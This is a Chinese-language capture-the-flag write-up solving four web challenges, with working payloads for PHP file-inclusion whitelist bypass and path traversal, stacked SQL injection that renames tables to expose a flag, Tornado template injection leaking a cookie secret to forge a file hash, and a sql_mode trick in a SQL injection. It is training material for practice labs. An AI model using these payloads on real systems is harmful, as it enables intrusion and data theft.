本篇內容:
[HCTF 2018]WarmUp
[強網杯 2019]隨便注
[護網杯 2018]easy_tornado
[SUCTF 2019]EasySQL
上一篇 | 目錄 | 下一篇
[HCTF 2018]WarmUp
一打開一個表情包,直接F12查看源代碼,發現source.php。
訪問發現如下代碼:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
首先,要傳入一個file參數。
1、file不爲空
2、file值是字符串
3、經過emmm類裏的checkFile方法後返回值爲1
都成立的情況下就會包含(include)file。
分析checkFile方法。
有一個白名單
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
那就包含一下hint.php試試,發現flag in ffffllllaaaagggg。
接着往下看:
1、if判斷中共有三個判斷會return true。之前的payload:
source.php?file=hint.php
其實就是第一個判斷的return true。但這裏就無法包含我們想要的ffffllllaaaagggg文件。
2、那就試着滿足第二個判斷的return true,構造payload:
(1)source.php?file=hint.php?../../../../../ffffllllaaaagggg
(2)source.php?file=hint.php%3f../../../../../ffffllllaaaagggg
這裏%3f就是?的url編碼,由於瀏覽器會自動的解碼一次,所以%3f就被解碼爲?了,和第一條沒區別。
成功拿到flag。
這裏能成功包含ffffllllaaaagggg文件是因爲PHP將第一個斜槓/之前的視爲了一個文件夾,
然後../逐級返回根路徑下找ffffllllaaaagggg文件,../多寫幾個完全沒有問題。
3、同樣的,試着滿足第三個判斷的return true,構造payload:
source.php?file=hint.php%253f../../../../../ffffllllaaaagggg
這裏%253f就是?的兩次編碼,經過瀏覽器一次url解碼,php判斷裏的一次url解碼後就變爲?了,滿足條件。
[強網杯 2019]隨便注
訪問網址
輸入 1’ 報錯, 1’# 顯示正常,說明存在注入。
輸入 1’ order by 2# 顯示正常,輸入 1’ order by 3# 報錯。
輸入 1’ union select 1,2# 返回一個正則過濾規則,幾乎常用的字段都被過濾了。
嘗試堆疊注入 1’;show databases# 成功回顯:
得到兩個表 1919810931114514
和 words
。
查words表裏的字段:
1';show columns from words#
發現words表字段爲id和data,這和最開始回顯的內容對應。
猜測回顯的就是words表裏的內容。
再來看看1919810931114514 表的內容,數據庫中全數字組成的表需要用反引號`括起來。
1';show columns from `1919810931114514`#
發現這張表有我們想要的flag。
回顯的是words表裏的id和data,那怎麼取出1919810931114514
表裏的flag呢?
騷操作:改名。
沒有過濾alter
和rename
,那就將1919810931114514表改名爲words,將flag字段改爲id。
1、在MySQL中,RENAME語句修改表名。基本語法格式如下:
RENAME 舊錶名 TO 新表名;
2、在MySQL中,ALTER TABLE語句修改數據表的字段名。基本語法格式如下:
ALTER TABLE 表名 CHANGE 舊字段名 新字段名 新數據類型;
最終payload:
1';rename table words to aaa;rename table `1919810931114514` to words;alter table words change flag id varchar(100);show columns from words;#
接着只要輸入 1' or '1'='1
就能拿到flag。
[護網杯 2018]easy_tornado
訪問網址:
點擊/flag.txt
,說明flag在 /fllllllllllllag 裏。
點擊/welcome.txt
,render()函數是渲染函數,進行服務器端渲染。具體的我不咋懂,但是能想到的是模板注入。
點擊/hints.txt
。
直接嘗試一下訪問/fllllllllllllag,
file?filename=/fllllllllllllag
發現網址跳轉了,還發現了奇怪的參數。
reader()函數聯想到模板注入,嘗試一下:
嘗試了±*/等符號,都被過濾了,異或^沒被過濾,成功回顯。
注意到之前訪問/flag.txt
、/welcome.txt
、/hints.txt
頁面時後頭都帶了md5值,然後/hints.txt給瞭如下信息:
md5(cookie_secret+md5(filename))
現在就要知道cookie_secret
怎麼拿到,百度了一下發現是Tornado框架的附屬文件handler.settings
中存在cookie_secret。
嘗試一下:
error?msg={{handler.settings}}
cookie_secret爲 bdc2d594-c0cc-4920-b52d-84c0decdb795 。
然後filename就是/fllllllllllllag了,進行md5加密後就是 3bf9f6cf685a6dd8defadabfb41a03a1 。
cookie_secret和filename拼接後再進行md5加密,值爲 34ad8ee4e06e7d3f7283264d7a32d30c 。
嘗試訪問一下拿到最終flag:
file?filename=/fllllllllllllag&filehash=34ad8ee4e06e7d3f7283264d7a32d30c
[SUCTF 2019]EasySQL
訪問網址:
嘗試了一下,發現回顯的就三種樣子:
成功回顯就會有存在Array字眼;
失敗回顯就是空;
被過濾了就是Nonono。
Fuzz模糊測試了一下,發現過濾了一大堆:
嘗試了一下堆疊注入,成功回顯:
1;show databases;
1;show tables;
1;show columns from tables;
該死的,查看了一下之前Fuzz的結果,發現from被過濾了。
啊啊啊,不會寫,百度,發現原理是
select $_GET['query'] || flag from flag
還發現原來沒有過濾*
,導致了非預期解。
預期解:
知識點:
PIPES_AS_CONCAT:將“||”視爲字符串的連接操作符而非或運算符,這和Oracle數據庫是一樣的,也和字符串的拼接函數concat相類似。
在oracle 缺省支持 通過“||”來實現字符串拼接,但在mysql缺省不支持。需要調整mysql 的sql_mode 模式爲pipes_as_concat。
所以payload如下:
1;set sql_mode=pipes_as_concat;select 1
自己還是太菜了,還需努力啊。
========================================================
上一篇-----------------------------------目錄 -----------------------------------下一篇
========================================================
轉載請註明出處。
本文網址:https://blog.csdn.net/hiahiachang/article/details/105411470
========================================================